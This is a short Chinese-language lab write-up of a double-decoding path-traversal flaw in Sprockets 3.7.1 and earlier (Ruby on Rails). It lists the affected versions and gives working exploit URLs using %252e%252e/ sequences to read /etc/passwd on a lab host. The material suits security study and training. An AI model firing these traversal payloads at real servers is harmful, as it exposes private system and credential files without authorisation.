01 背景介绍
Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
02 影响版本
版本 <=Sprockets 3.7.1
03 利用方法
利用手法 %252e%252e/ 不断返回上级目录 (%252e%252e/ 是…的url编码)
04 靶场
1.用http://219.153.49.228:40057/assets/file:%2f%2f/etc/passwd
尝试读取其存放密码的文件、但是发现etc/passwd不在允许的路径下,报错页面显示出了允许的路径
2.复制一段路径,然后跳转到根目录之后../../../../../etc/passwd
但是需要二次编码,编码之后的url是http://http://219.153.49.228:40057/assets/file:%2f%2f//usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd